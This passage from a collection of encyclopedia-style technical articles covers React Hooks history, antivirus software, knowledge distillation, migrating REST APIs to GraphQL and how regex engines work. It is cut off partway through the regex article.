2012. \n\nFeb  \n2019\n\nReact v16.8.0 is released. This introduces **React Hooks**. In the change log, it's described as \"a way to use state and other React features without writing a class.\" This change affects React DOM, React DOM Server, React Test Renderer and React Shallow Renderer. All of these must be at least version 16.8 to use React Hooks. This release also includes the **React Hooks ESLint Plugin** for linting. \n\nMar  \n2019\n\nReact Hooks becomes available in **React Native v0.59**. \n\nAug  \n2019\n\nReact v16.9.0 is released. The React Hooks ESLint Plugin is updated to treat the use of Hooks at module level (outside a function component) as a violation.  \n\nOct  \n2020\n\nReact v17.0.0 is released. As an experimental Hook, `unstable_useOpaqueIdentifier` is added.","meta":{"title":"React Hooks","href":"react-hooks"}}
{"text":"# Antivirus Software\n\n## Summary\n\n\nMalicious software or malware are code that can harm computer systems and steal personal information, causing severe damage such as financial loss. These malware can enter through various ways including as an email attachment, on a USB drive, or user visiting infected websites or clicking malicious links. \n\nAntivirus software is a program that protects computer systems from malicious software. Antivirus software needs privileged access to the system to function properly. Many antivirus software provide real-time threat protection against harmful applications. It's also possible to manually perform security scans.  \n\nIt's advisable to use antivirus programs on desktops. They can be optional in mobile phones if users don't download any app from unofficial sources or click suspicious links.\n\n## Discussion\n\n### What are the features of an antivirus software?\n\nBelow are some common features of an antivirus software:\n\n    + **Real-time scanning**: Antivirus software that do security checks while using the system are real-time scanning software.\n    + **Quarantine**: An isolated place where harmful files are kept.\n    + **Bank mode**: A feature that provides a clean and safe virtual environment within the real desktop environment.\n    + **Ransomware Shield**: Secures personal photos, documents, and other files from being modified, deleted, or encrypted by ransomware attacks.\n    + **Remote Access Shield**: Protects the computer from remote and unauthorized access.\n    + **Sandbox**: A sandbox is a system in which suspicious files are tested and analysed inside a virtual machine to detect malware.\n    + **Hack alerts**: Warns if sensitive data is leaked on the Dark Web and other online sources.\n    + **Password protection**: Protects passwords stored in web browsers.\n    + **Webcam shield**: Restricts applications and malware from gaining unauthorized access to the webcam.\n    + **Masking IP address**: Hide the IP address while browsing internet.\n    + **Freemium vs Paid versions**: Basic features with free versions. More features with paid versions.\n\n### What are the types of antivirus programs?\n\n**Standalone antivirus software** are specialized to scan and remove certain viruses. They can easily be carried from one place to another in a USB drive. These type of antivirus programs do not provide real-time protection. Windows defender offline, Metascan client and Microsoft scanner are some examples. \n\n**Security software suites** provide more security features than antivirus software. They not only scan and remove the viruses but also protect from other malicious attacks. They provide complete protection to the user's computer. They include extra security features such as anti-spyware, firewall, site authentication and parental controls. Bitdefender Total Security, Norton 360 Deluxe, and Kaspersky Total Security are some of its examples. \n\n**Cloud-based antivirus software** analyse the files on the cloud instead of on the user systems. They have two parts: (a) client side that's installed on user systems; (b) cloud side that captures the data gathered from client side and runs the scans. The latter saves a lot of memory and resources on user computers.  \n\n\n### What's the architecture of antivirus software?\n\nAn antivirus software consists of four main components namely Anti-virus Manager, Anti-virus Engine, Malware Signature Database and Anti-virus Driver. \n\nThe Anti-virus Manager handles overall management functions. It's responsible for executing malware scans, reviewing the results of malware restoration, raising alarms, and setting a periodic scan policy for malware. It updates the Malware Signature DB and the Anti-virus Engine. \n\nThe Anti-virus Engine is responsible for handling malware in the system. It analyses the file information and marks it safe or harmful based on the scanning. \n\nIn the Malware Signature Database, signatures of malware are kept. The antivirus engine evaluates the suspicious file by comparing its characteristics to these signatures. \n\nThe Anti-virus Driver is a real-time malware entry monitoring function that revokes access to malware-infected user files. It checks the input and output of the file and determines the exact file path to check for malware. \n\n\n### Which are major virus detection methods used by antivirus software?\n\nThere are mainly two virus detection techniques used by antivirus programs namely Heuristic-based detection and Signature-based detection.  \n\nIn **signature-based detection**, the antivirus software scans the files and compares it with the predefined malicious code present in its database. The signature could include malicious network attack behaviour, content of email subject lines, file hashes, known byte sequences or malicious domains. If a file matches any malicious code, it flags it as virus and takes necessary actions. The antivirus can't detect any new malware or even any updated variant of malware that is not written in definition file. With rapid growth in variants of malware, this detection method becomes ineffective in long run. \n\nIn **heuristic-based detection** the antivirus software uses data mining and machine learning techniques to learn the behaviour of an executable file. For instance, it may detect commands to deliver payloads disguised within a Trojan horse virus or those used to distribute a worm virus. It's able to identify new or altered variants of malware even in the absence of updated malware code in the database. It's commonly used in combination with signature-based detection.  \n\n\n### What are other virus detection techniques used by antivirus software?\n\n**Behavioural-based detection** analyses every single line of code in the file before its execution. If it finds the objective of the file suspicious or harmful (such as taking access to any critical or irrelevant files, processes, or internal services) it flags it as malware. Degree of potential danger is calculated by the antivirus software and required actions are taken afterwards. Some examples of malicious behaviours include any attempt to discover a sandbox environment, disabling security controls, installing rootkits, and registering for autostart.  \n\n**Sandbox** is a system for malware detection that runs any suspicious object in a virtual machine (VM). If the object performs malicious actions in VM, the sandbox registers it as malware. VMs are isolated from the real system. \n\n**Cloud-based detection** identifies malware by collecting data from host computers and analysing it on the provider's infrastructure, instead of performing the analysis locally on the system. It's done by capturing relevant details about the file and the context of its execution and providing them to the cloud engine for processing. \n\n\n### What are the differences between server, desktop and mobile antivirus software?\n\nMost antivirus software are built for **desktops**, specially Windows as it has the largest user base. Many antivirus software vendors offer their product at different price ranges, starting with free version which offer only basic protection. These free versions often don't protect against malicious attachments in emails, fishy website links and other type of cyber attacks. Microsoft offers a basic free antivirus software with Windows known as Windows Defender. \n\n**Mobile antivirus** software differ than the desktop ones as they have less access and control over the host device. Mobile antivirus software can't do OS file access, website filtering, in-memory scans or real-time protection engines. Android users need antivirus software more than the iOS users as iOS devices have better security features. \n\nA good **server antivirus** software detects virus before it infects the system. It also stops data transfer between server and external drives. It defends information on servers from every kind of malicious applications. It provides security for different server subsystems such as email, firewall and proxy. \n\n\n### What are the challenges faced with an antivirus software?\n\nOne of the biggest challenges faced with antivirus software is that it slows down the computer. Antivirus software loads each time when the system boots up which makes booting slower. Without a powerful processor and a good amount of memory, antivirus software can slow down systems to a high extent. \n\nNo antivirus software provide 100% security from all kinds of cyber threats. Inexperienced users might fall into a false assumption of being completely secure. If the antivirus uses heuristic detection, it might flag harmless websites and software as malicious. \n\nAntivirus software runs at the kernel level of the operating system. It has privileged access to all the core files of the OS and system. Hence it becomes a potential target for cyber attacks. The US National Security Agency (NSA) and the UK Government Communications Headquarters (GCHQ) intelligence agencies have been exploiting anti-virus software to spy on users. In fact, it's been noted that popular software such as Acrobat Reader, Microsoft Word or Google Chrome are harder to exploit than 90% of the anti-virus products. \n\n\n### Are there any alternatives of antivirus software?\n\nBelow are some alternatives of antivirus software:\n\n    + **Network firewall**: Network firewalls stop unknown programs and processes from accessing the system but unlike antivirus programs, they don't identify or remove any virus present in the system. They provide safety from malware coming from other websites on a network.\n    + **Cloud antivirus**: Cloud antivirus offer features like other antivirus programs but rely on cloud to process malware. They're faster than usual antivirus software as it does most of its computing on the cloud. Due to up-to-date database of malware and viruses they can find new versions of malware. Panda Cloud Antivirus and Immunet are examples of cloud antivirus.\n    + **Online scanning**: Some antivirus vendors provide websites that offer free scanning of system. These can be used without downloading heavy software in local systems.\n    + **Specialized tools**: Virus removal tools are helpful in removing stubborn/sticky viruses. Avast Free Anti-Malware, AVG Free Malware Removal Tools and Avira AntiVir Removal Tool are some examples of such tools.\n\n\n## Milestones\n\n1971\n\nThe first known virus named as Creeper Virus is discovered. It infects DEC PDP-10 mainframe computers running the TENEX operating system. Ray Tomlinson writes a program to delete creeper virus. This program is known as **The Reaper**. Some people consider the Reaper as the first antivirus program but Reaper is itself a virus made to remove the Creeper Virus. \n\n1987\n\nBernd Fix becomes the innovator of **first antivirus product**. However, there are competing claims for it. John McAfee establishes the McAfee company. Peter Paško, Rudolf Hrubý, and Miroslav Trnka create the first version of NOD antivirus. The first two heuristic antivirus utilities are released: Flushot Plus by Ross Greenberg and Anti4us by Erwin Lanting. \n\n2000\n\nRainer Link and Howard Fuhs start the first **open-source antivirus engine** called OpenAntivirus Project. \n\n2001\n\nTomasz Kojm releases the first version of ClamAV, the first ever open-source antivirus engine to be commercialised. \n\n2005\n\nAV-TEST (a German based independent organization) reports that there are 333,425 unique malware samples in their database. In 2007 alone, AV-TEST reports 5,490,960 new unique malware samples. \n\n2008\n\nMcAfee Labs adds the industry-first **cloud-based anti-malware** functionality to VirusScan (an antivirus) under the name Artemis. \n\n2010\n\nA faulty update on the AVG anti-virus suite damages 64-bit versions of Windows 7, rendering it unable to boot, due to an endless boot loop created. If not properly managed, this highlights the danger of antivirus programs since they have privileged access.\n\n2011\n\nMicrosoft Security Essentials (MSE) removes the Google Chrome web browser, rival to Microsoft's own Internet Explorer. MSE flags Chrome as a Zbot banking trojan. In 2017, Google Play Protect on Moto G4 flags a Bluetooth system app as malware, causing Bluetooth functionality to become disabled for all apps. In 2022, Microsoft Defender flags all Chromium-based web browsers and Electron-based apps (Whatsapp, Discord, Spotify) as a severe threat. There are some examples of **false positives**.","meta":{"title":"Antivirus Software","href":"antivirus-software"}}
{"text":"# Knowledge Distillation\n\n## Summary\n\n\nDeep learning is being used in a plethora of applications ranging from Computer Vision and Digital Assistants to Healthcare and Finance. The popularity of the fields of Machine Learning and Deep Learning can be attributed to the high accuracy of the obtained results, which is largely due to the average of an ensemble of thousands of models. However, such computationally intensive models cannot be deployed on mobile devices, or FPGAs for instant use. These devices have constraints on resources like limited memory and input/output ports.\n\nOne way of mitigating this problem is to use Knowledge Distillation. We train an ensemble of models or a complex model ('teacher') on the data. We then train a lighter model ('student') with the help of the complex model. The less-intensive student model can then be deployed on FPGAs.\n\n## Discussion\n\n### What is a teacher-student network?\n\nThe best Machine Learning models are those that average the predictions of an ensemble of thousands of models. While deploying on hardware devices like FPGAs, however, problems ensue. FPGAs have a limited number of I/O ports, which forces developers to drastically reduce the number of inputs and outputs at each layer of their network.\n\nTo alleviate this problem, we use two networks - a teacher and a student. Essentially, we train a bulky ensemble of models (teacher) and use a smaller, lighter model (student) for testing, prediction and deployment. The student is trained to mimic the prediction capabilities of the teacher. How we go about doing this constitutes the crux of Knowledge Distillation.\n\nIn other words, the ensemble is simply a function that maps input to output. Transfer the knowledge in this function to the student network is knowledge distillation. \n\n\n### What is dark knowledge and softmax temperature?\n\nIn classification problems, neural networks output *logits* that are computed for each class. A *softmax layer* \"normalizes\" these logits \\(z\\_i\\) into probabilities \\(q\\_i\\). For a softer distribution, logits are 'softened' or divided by a constant value, called the **temperature** \\(T\\): \n\n$$q\\_i = \\frac{exp(z\\_i/T)}{\\sum\\_j exp(z\\_j/T)}$$\n\nWhen the temperature is 1, the probabilities obtained are said to be unsoftened. Hinton et.al. that, in general, the temperature depends on the number of units in the hidden layer of a network. For example, when the number of units in the hidden layer was 300, temperatures above 8 worked well, whereas when the number of units was 30, temperatures in the range of 2.5-4 worked best. Higher the temperature, softer the probabilities. \n\nConsider a classification problem with four classes, `[cow, dog, cat, car]`. If we have an image of a dog, unsoftened hard targets would be `[0, 1, 0, 0]`. This doesn't tell much about what the ensemble has learned. By softening, we may get `[0.05, 0.3, 0.2, 0.005]`. It's clear that predicting a cow is 10 times greater than a car. It's this 'dark' knowledge that needs to be distilled from the teacher network to the student. \n\n\n### How could I implement this Knowledge distillation?\n\nBuciluǎ et al. designed the first methods of model compression. Later, Hinton et.al. showed the means of distilling the knowledge from an ensemble of models into a single, lighter model.\n\nFor example, in image classification, the student would be trained on the class probabilities, or logits, output by the teacher. The logits represent a similarity metric over the classes and help in training good classifiers. Extracting this form of 'dark knowledge' from the teacher network and passing it on to the student is called **distillation**.\n\nKariya's Medium article provides a simple implementation of Hinton's paper. He touches upon dark knowledge and proceeds to build a simple CNN-based network on the MNIST dataset , showing how the teacher-trained student performed better than a standalone student. \n\nImplementing knowledge distillation can be a resource-intensive task. It requires the training of the student model on the teacher's logits, in addition to training the teacher model.\n\nWhile training the student, care should be taken to avoid the vanishing gradient problem, which can occur if the learning rate of the student is too high.\n\n\n### How about performance?\n\nThe objective of distilling the knowledge from an ensemble of models into a single, lightweight model is to ease the processes of deployment and testing. It is of paramount importance that accuracy not be compromised in trying to achieve this objective.\n\nIn the original paper authored by Hinton et. al., the performance of the student network after knowledge distillation improved, when compared with a standalone student network. Both networks were trained on the MNIST dataset of images. The accuracies of the various models have been tabulated.\n\nAs is obvious from the table, the best results are obtained from the bulky ensemble of models and their student alternatives must be used only in case of constrained resources.\n\n\n### What are the challenges with Knowledge Distillation?\n\nKD is limited to classification tasks that use softmax layer. Sometimes the assumptions are too strict, such as in FitNets where student models may not suit constrained deployment environments. Other approaches to model compression may therefore be preferred over KD. \n\nHowever, KD continues to be a promising area of research. In 2017, it was adapted for multiclass object detection. In 2018, KD was applied to construct specialized student models for visual question answering. Also in 2018, Guo et al. improved the robustness of student network so that it resists perturbations. \n\nIn some domains such as healthcare, DNNs are not preferred. Decision trees are preferred since their predictions can be more easily interpreted. KD has been used to distil DNN into decision tree and thereby provide good performance and interpretability. \n\n## Milestones\n\n1989\n\nHanson and Pratt propose **network pruning** using biased weight decay. They call their pruned networks *minimal networks*. In the early 1990s, other pruning methods such as optimal brain damage and optimal brain surgeon are proposed. These are early approaches to compress a neural network model. Knowledge distillation as an alternative is invented about two decades later.\n\n2006\n\nBuciluǎ et al. publish a paper titled *Model Compression*. They present a method for “compressing” large, complex ensembles into smaller, faster models, usually without significant loss in performance. They use the ensemble to label large unlabelled datasets. They then use this labelled data to train a single model that performs as well as the ensemble. Because it's not easy to obtain large sets of unlabelled data, they develop an algorithm called *MUNGE* to generate pseudo data. This work is limited to shallow networks. \n\n2014\n\nBa and Caruana propose the idea of **teacher-student** learning method. They show that shallow models can perform as well as deep models. A complex teacher network (either a deep network or an ensemble) is trained. Instead of using the softmax output, the logits are used to train the shallow student network. Thus, the student network benefits from what the teacher network has learned without losing information via the softmax layer. Some call this **softened softmax**. \n\n2014\n\nHinton et al. introduce the idea of passing on the 'dark' knowledge from an ensemble of models into a lighter, deployable model. In a paper published in March 2015, they explain that they're \"distilling knowledge\" from the complex model. The core idea is that models should generalize well to new data rather than optimize on training data. Instead of using logits, they use **distillation**, in which the softmax is used with a higher temperature, also called \"soft targets\". They note that using logits is a special case of distillation. \n\n2015\n\n**FitNet** aims to produce a student network that's thinner than teacher network while being of similar depth. In addition to the teacher's distilled knowledge of the final softmax layer, Fitnets also make use of intermediate-level hints from the hidden layers. Yim et al. propose a variation of this in 2017 by distilling knowledge from the inner product of features of two layers. \n\n2018\n\nFurlanello et al. show that student models parameterized similar to teacher models outperform the latter. They call these **Born-Again Networks (BANs)** where model compression is not the goal. Students are trained to predict correct labels plus match the teacher's output distribution (knowledge distillation). \n\n2019\n\nResearchers at the Indian Institute of Science, Bangalore, propose **Zero-Shot Knowledge Distillation (ZSKD)** in which they don't use teacher's training dataset or a transfer dataset for distillation. Instead, they synthesize pseudo data from the teacher's model parameters. They call this **Data Impressions (DI)**. This is then used as a transfer dataset to perform distillation. Another research group, with the aim of reducing training, show that just 1% of the training data can be adequate. \n\n2019\n\nPark et al. look at the mutual relationships among data samples and transfer this knowledge to the student network. Called **Relational Knowledge Distillation (RKD)**, this departs from the conventional approach of looking at individual samples. Liu et al. propose something similar, calling it **Instance Relationship Graph (IRG)**. Attention network is another approach to distil relationships. \n\nSep  \n2019\n\nYuan et al. note the conventional KD can be reversed; that is, the teacher can also learn from the student. Another observation is that a poorly-trained teacher can improve the student. They see KD not just as similarity across categories but also as a regularization of soft targets. With this understanding, they propose **Teacher-free Knowledge Distillation (Tf-KD)** in which a student model learns from itself.","meta":{"title":"Knowledge Distillation","href":"knowledge-distillation"}}
{"text":"# REST API to GraphQL Migration\n\n## Summary\n\n\nWhile GraphQL has its limitations, there are many advantages that make it worthwhile to migrate existing REST APIs to GraphQL. To reap these benefits, it's important to think in terms of graphs rather than endpoints. \n\nThe migration itself can be done in one go for small projects. An incremental approach is preferred for complex projects handled by large teams. For most projects, it's expected that current REST APIs will coexist with new GraphQL APIs. This is because clients may not migrate to new app versions or update their code immediately.\n\nIn general, migration will involve building the **GraphQL schema** and writing the **resolvers** for that schema.\n\n## Discussion\n\n### What's a possible migration path from REST to GraphQL?\n\nLet's assume that we're using REST API and React client (a). We can start by keeping the REST endpoints but wrapping it with a **GraphQL gateway** (b). We need to define the GraphQL schema. React client will now call a single GraphQL endpoint. Resolvers will use REST endpoints for fetch the data. \n\nA natural evolution from here is to implement the **GraphQL server** (c). We can remove the gateway. React client will directly call the new GraphQL API. This has direct access to the database layer and therefore lower latency compared to the gateway architecture. REST endpoints may coexist to support legacy clients.\n\nA React client does imperative data fetching and might do manual client-side caching. By migrating to **Apollo Client**, we can do declarative data fetching and zero-config caching. By using Apollo Link REST, we don't even need changes at the server side. This could be an easy way to get started. The final goal is to have GraphQL API and Apollo Client (d). \n\n\n### To design for GraphQL, what sort of mindset should I have?\n\nOne study found that reducing the number of API calls by migrating to GraphQL is not a trivial exercise. Suppose the current code is organized to consume small amounts of data returned by specific REST endpoints. Refactoring this into fewer endpoints that return large graph structures requires a graph-based mindset.\n\nDevelopers have to stop thinking in terms of endpoints and start thinking in terms of graphs. It's important to understand this before designing the GraphQL schema. A typical endpoint-based approach is to ask, \"What pages are there and what data each of them needs?\" With graph-based approach, we should instead focus on the data and its relationships, and seek to expose these to clients. \n\nConsider a blogging site. Let's think about exposing user information. Relationships from the user might include posts, comments, liked articles, groups, etc. Thus, we are building a graph around the user. Relationships are bidirectional. When focusing on a comment, we should also link it back to the user. \n\nIn short, \n\n> Think in graphs, not endpoints. Describe the data, not the view.\n\n\n### How is TypeScript relevant to GraphQL?\n\nUnlike vanilla JavaScript, TypeScript gives type safety at the client side. GraphQL gives type safety at the server side. \n\nSuppose we have a client that uses only JavaScript. If this client makes a query to the GraphQL server in which the types don't match. This error will be caught at the server during runtime. Instead, if the client code had been in TypeScript, such a mismatch would have been caught during the build process. We can deploy our code with lot more confidence. \n\nA good approach is to define GraphQL schema and then use tools to auto-generate TypeScript types for the front-end. Ideally, we could extend this to the database layer so that from browser to the database, types are consistent. \n\nIn general, we should strive for type consistency systemwide. At Airbnb, they defined Thrift IDL that was then compiled into GraphQL schema. Moreover, they then automatically generated TypeScript types from the GraphQL schema. \n\n\n### Should I implement caching for my GraphQL service?\n\nA single client query can trigger multiple resolvers. GraphQL resolvers run as independent units. This has the benefit that even if some of them fail, the ones that succeed return the requested data to the client. One problem is that across resolvers there could be many duplicate calls to REST endpoints. \n\nIt's to solve this problem that a caching layer is helpful. Resolvers need not worry about optimizing their calls to REST endpoints. At Airbnb, engineers approached this problem via what they call a *data-centric schema* and a *data hydration layer*. \n\nAt another level, we can cache client request-response. Since GraphQL doesn't support HTTP-level caching, we need an alternative. It's possible to use application-level caching, such as Spring Boot caching. Database queries can also be optimized via caching. \n\n\n### Could you share some case studies on migrating to GraphQL?\n\nAt Netflix, the Marketing Technology team adopted GraphQL to solve their network bandwidth bottlenecks. Their use cases were complex and building custom REST endpoints for each page was cumbersome. GraphQL matched their graph-oriented data structures. They could roll out features lot faster. A GraphQL middle layer reduced number of direct calls from the browser. Instead, server-to-server calls within the data centre gave 8x performance boost. Payload of 10MB reduced to 200KB. \n\nAt Airbnb, they reconciled legacy presentation services with GraphQL by having Thrift/GraphQL translators per service. These services were then exposed to clients via a GraphQL gateway service. \n\nAt PayPal, a user checkout involved many round trips. Reducing round trips with REST meant overfetching data. They also found that UI developers spent less time building UI. Mostly, they were trying to figure out where and how to fetch data. After moving to GraphQL, data performance and developer productivity improved. \n\nInterested readers can head to the official GraphQL website that shares a number of GraphQL case studies.\n\n\n### Are there tools that help with GraphQL migration?\n\nGraphiQL is an in-browser IDE. Via GraphiQL, you can look at the schema, make queries and look at the responses. GraphQL Editor, GraphQL Playground and GraphQL Voyager are other useful tools. \n\nApollo Server and Apollo Client provide server and client-side implementations of GraphQL. Apollo Client can integrate with React, Angular or Vue frameworks. As an alternative to Apollo Client, there's Relay to act as a bridge between GraphQL and React. \n\nThere are many tools that can read your REST API files and export GraphQL schema. Apimatic's API Transformer is one such tool. Input files can be in various formats such as OpenAPI, RAML, or API Blueprint. This tool can also migrate SOAP users by translating WSDL files. \n\nSome clients may want to use only REST. To avoid maintaining two codebases, we can have a GraphQL schema and generate REST APIs from it. Sofa is a Node.js package that does this. \n\n\n### How I do map REST features to their equivalent GraphQL features?\n\nUsing REST, a client would make an endpoint call, parse the response and make further calls to get all relevant data. This is the N+1 problem. This can be solved using the nested API design but this leads to overfetching. With a well-designed GraphQL API, clients should be able to and should request only relevant data with a single API call. Moreover, we should make use of **connections**. A connection encapsulates the queried node and other *nodes* to which it's connected by *edges*. This comes directly from the underlying graph-based data abstraction. \n\nIn REST, we paginate with a query string such as `?limit=1&page=2`. **Cursor-based pagination** is the GraphQL equivalent. It's typically used with connections using arguments `first`, `last`, `offset` or `after`. \n\nIn REST, POST, PUT or DELETE requests modify data. In GraphQL, clients can instead use **mutations**. We could define mutations to create, update or delete items. \n\nGraphQL prefers serving a versionless API and avoids breaking changes as the API evolves. Clients only request what they need and understand. In REST, the practice has been to serve different versions.  \n\n\n### Could you share some tips and best practices for moving to GraphQL?\n\nGraphQL should be a thin layer. Tasks such as authentication, caching or database queries should happen below the GraphQL service layer. By doing this, application will be more resilient to changes in platform or services. Likewise, name your fields in a self-documenting manner. Once clients start using them, it becomes hard to change later. \n\nDon't force clients to replace all their REST endpoint calls to GraphQL. Instead, allow them to adopt GraphQL incrementally. Shopify documentation shows how responses from REST endpoints can include GraphQL IDs that can be used for subsequent GraphQL queries. \n\nResolvers should be thin and fetch data asynchronously. Fetch data at field level and de-duplicate requests using a library such as DataLoader. \n\nServer logs help in debugging GraphQL calls. To debug within the browser, include logs into the response payload when enabled by a flag. \n\nWith GraphQL, we often fetch partial objects that can't be directly used in methods that need full objects. Use duck typing to get around this. \n\n## Milestones\n\nJul  \n2015\n\nFacebook open sources GraphQL, which is also released as a draft specification. The development of GraphQL within Facebook can be traced back to 2012. \n\nJun  \n2019\n\nBrito et al. compare the performance of GraphQL against REST using seven open source clients to call GitHub and arXiv APIs. They also make typical queries noted in recent papers presented at engineering conferences. They find that GraphQL results in 94% less number of fields fetched and 99% less number of bytes. These are median values. However, there's no significant reduction in the number of API calls. \n\nOct  \n2019\n\nAirbnb engineer Brie Bunge shares Airbnb's migration journey to GraphQL. They adopted an incremental approach, making sure the app is always shippable and regression-free. As pre-requisites, they set up GraphQL in the backend and adopted TypeScript in the frontend. Migration itself had five stages. The approach was to first replace REST with GraphQL. Refactoring and optimizations were done later.","meta":{"title":"REST API to GraphQL Migration","href":"rest-api-to-graphql-migration"}}
{"text":"# Regex Engines\n\n## Summary\n\n\nA regular expression describes a search pattern that can be applied on textual data to find matches. A regex is typically compiled to a form that can be executed efficiently on a computer. The actual search operation is performed by the regex engine, which makes use of the compiled regex.\n\nTo write good regexes, it's helpful for programmers to know how these engines work. There are a few types of engines, often implemented as a Finite Automaton. In fact, regexes are related to Automata Theory and Regular Languages. \n\nThe syntax and semantics of regexes have been standardized by IEEE as POSIX BRE and ERE. However, there are many non-standard variants. Often, the differences are subtle. Programmers who design regexes must be aware of the variant being used by the engine.\n\n## Discussion\n\n### Is my regex executed directly by a regex engine?\n\nA regex engine receives two inputs: the regex pattern plus the input string. Programmers specify regexes as strings. While an engine could be designed to work with strings directly, there's a better and more efficient way.\n\nIt's been shown that for every regex there's an equivalent **Finite State Machine (FSM)** or **Finite Automaton (FA)**. In other words, the regex can be modelled as a finite set of states and transitions among these states based on inputs received at a state. Therefore, the job of a compiler is to take the original regex string and compile it into a finite automaton, which can be more easily executed by the engine.  \n\nIn some implementations, a preprocessor may be invoked before the compiler. This substitutes macros or character classes, such as, replacing `\\p{Alpha}` with `[a-zA-Z]`. A preprocessor also does locale-specific substitutions. \n\nLet's note that there's no standard definition of what's a regex engine. Some may consider parsing, compiling and execution as part of the engine. \n\n\n### Could you explain how automata theory is applied to regexes?\n\nThere are two types of automata: \n\n    + **Deterministic Finite Automaton (DFA)**: Given a state and an input, there's a well-defined output state.\n    + **Non-Deterministic Finite Automaton (NFA)**: Given a state and an input, there could be multiple possible output states. A variant of NFA is **ε-NFA**, where a state transition can happen even without an input.It's been proven that every DFA can be converted to an NFA, and vice versa. In the accompanying figure, all three automata are equivalent and represent the regex `abb*a` (or `ab+a`). For NFA, when 'b' is received in state q1, the automaton can remain in q1 or move to q2. Thus, it's non-deterministic. For ε-NFA, the automaton can move from q2 to q1 even without an input. It's been said, \n\n> Regular expressions can be thought of as a user-friendly alternative to finite automata for describing patterns in text.\n\n\n### What are the different types of regex engines?\n\nRegex engines could be implemented as DFA or NFA. However, in simpler language, a regex engine can be classified as follows:\n\n    + **Text-Directed**: Engine attempts all paths of the regex before moving to next character of input. Thus, this engine doesn't backtrack. Since all paths are attempted at once, it will return the longest match. For example, `(Set|SetValue)` on input \"SetValue\" will match \"SetValue\".\n    + **Regex-directed**: If the engine fails at a position, it backtracks to attempt an alternative path. Paths are attempted in left-to-right order. Thus, it returns the leftmost match even if there's a longer match in another path later. For example, `(Set|SetValue)` on input \"SetValue\" will match \"Set\".Most modern engines are regex-directed because this is the only way to implement useful features such as lazy quantifiers and backreferences; and atomic grouping and possessive quantifiers that give extra control to backtracking. \n\nToday's regexes are feature rich and can't always to implemented efficiently as an automaton. Lookaround assertions and backreferences are hard to implement as NFA. Most regex engines use **recursive backtracking** instead. \n\n\n### How do the different regex engines compare?\n\nWith recursive backtracking, pathological regexes result in lots of backtracking and searching through alternative paths. The time complexity grows exponentially. Thompson's NFA (or its equivalent DFA) is more efficient and maintains linear-time complexity. A compromise is to use Thompson algorithm and backtrack only when needed for backreferences. GNU's awk and grep tools use DFA normally and switch to NFA when backreferences are used. \n\nRuby uses non-recursive backtracking but this too grows exponentially for pathological regexes. Ruby's engine is called *Oniguruma*. \n\nDFA is more efficient than NFA since the automaton is in only one state at any given time. A traditional NFA tries every path before failing. A POSIX NFA tries every path to find the longest match. A text-directed DFA spends more time and memory analyzing and compiling the regex but this could be optimized to compile on the fly. \n\nIn terms of code size, NFA regex in *ed* (1979) was about 350 lines of C code. Henry Spencer's 1986 implementation was 1900 lines and his 1992 POSIX DFA was 4500 lines. \n\n\n### What are the essential rules that a regex engine follows?\n\nA regex engine executes the regex one character at a time in **left-to-right order**. This input string itself is parsed one character at a time, in left-to-right order. Once a character is matched, it's said to be **consumed** from the input, and the engine moves to the next input character.\n\nThe engine is by default **greedy**. When quantifiers (such as `* + ? {m,n}`) are used, it will try to match as many characters from the input string as possible. The engine is also **eager**, reporting the first match it finds. \n\nIf the regex doesn't match a character in input, it does two things. It will backtrack to an earlier greedy operation and see if a less greedy match will result in a match. Otherwise, the engine will move to the next character and attempt to match the regex all over again at this position. Either way, the engine always knows its **current position** within the regex. If the regex specifies alternatives, if one search path fails, the engine will backtrack to match the next alternative. Therefore, the engine also stores **backtracking positions**. \n\n\n### Could you explain the concepts \"greedy\" and \"eager\" with examples?\n\nTake regex `a.*o` on input \"cat dog mouse\". Even though \"at do\" is a valid match, since the engine is greedy, the match it gives is \"at dog mo\". To avoid this greedy behaviour, we can use a lazy or non-greedy match: `a.*?o` will match \"at do\". Ungreedy match in some flavours such as PCRE can be specified using 'U' flag. \n\nA non-greedy `\\w{2,3}?` on input \"abc\" will match \"ab\" rather than \"abc\". Suppose the regex is `\\w{2,3}?$`, then the match is \"abc\" and not \"bc\", even though the regex is non-greedy. This is because the engine is eager to report the first match it finds. Thus, it first matches \"ab\", then sees that `$` doesn't match \"c\". At this point, the engine will not backtrack for position \"b\". It will remain at \"a\" and compare the third character due to `{2,3}`. Thus, it finds \"abc\" as match. It eagerly reports this match. \n\nAnother example is `(self)?(selfish)?` applied on input \"selfish\". Because of eagerness, engine will report \"self\" as the match. However, a text-directed engine will report \"selfish\". \n\n\n### Could you explain backtracking with an example?\n\nLet's take the regex `/-\\d+$/g` and input string \"212-244-7688\". The regex engine will match `-\\d+` to \"-244\" but when it sees `$` it declares no match. At this point, it will backtrack to the start of the regex and current position in input string will advance from \"-\" to \"2\". In this example, only one backtracking happens. Suppose we apply `/\\d-\\d+$/g` on the same input, we'll have five backtracks as shown in the figure.\n\nEngine can also backtrack part of the way. Let's apply `/A\\d+\\D?./g` to \"A1234\". The engine will match `A\\d+\\D?` to \"A1234\" but when it sees `.` there's no match. It will backtrack to `\\d+` and give up one character so that `A\\d+` now matches only \"A123\". As the engine continues, it will match `.` with \"4\".\n\nAnother example of backtracking is `pic(ket|nic)`. If the string is \"Let's picnic.\", the engine will match `pic` to \"pic\" but will fail the next character match (k vs. n). The engine knows there's an alternative. It will backtrack to end of `pic` and process the second alternative. \n\n## Milestones\n\n1959\n\nMichael Rabin and Dana Scott introduce the concept of non-determinism. They show that an NFA can be simulated by a DFA in which each DFA state corresponds to a set of NFA states. \n\n1968\n\nKen Thompson shows in an ACM paper how a regex can be converted to a NFA. He presents an engine that can track alternative paths in the NFA simultaneously. This is now called **Thompson NFA**. For a regex of length m and input of length n, Thompson NFA requires \\(O(mn)\\) time. In comparison, the backtracking regex implementation requires \\(O(2^n)\\) time when there are n alternative paths. An NFA can be built from simple operations (such as concatenation, alternation, looping) on partial NFAs. \n\n1971\n\nUnix (First Edition) appears and *ed* text editor is one of the programs in it. The editor uses regex but it's not Thompson's NFA but recursive backtracking. Other utilities such as grep (1973) follow suit. \n\n1979\n\nUnix (Seventh Edition) includes *egrep*, the first utility to support full regex syntax. It pre-computes the DFA. By 1985, it's able to generate the DFA on the fly. \n\n1985\n\nThe *regexp(3)* library of Unix (Eighth Edition) adapts Thompson's algorithm to extract submatches or capturing groups. This work is credited to Rob Pike and Dave Presotto. This goes unnoticed and is not widely used. However, a year later, Henry Spencer reimplements the library interface from scratch using recursive backtracking. This is later adopted by Perl, PCRE, Python, and others. \n\n1999\n\nHenry Spencer writes an engine for Tcl version 8.1. This is a hybrid engine. It's an NFA supporting lookaround and backreferences. It also return the longest-leftmost 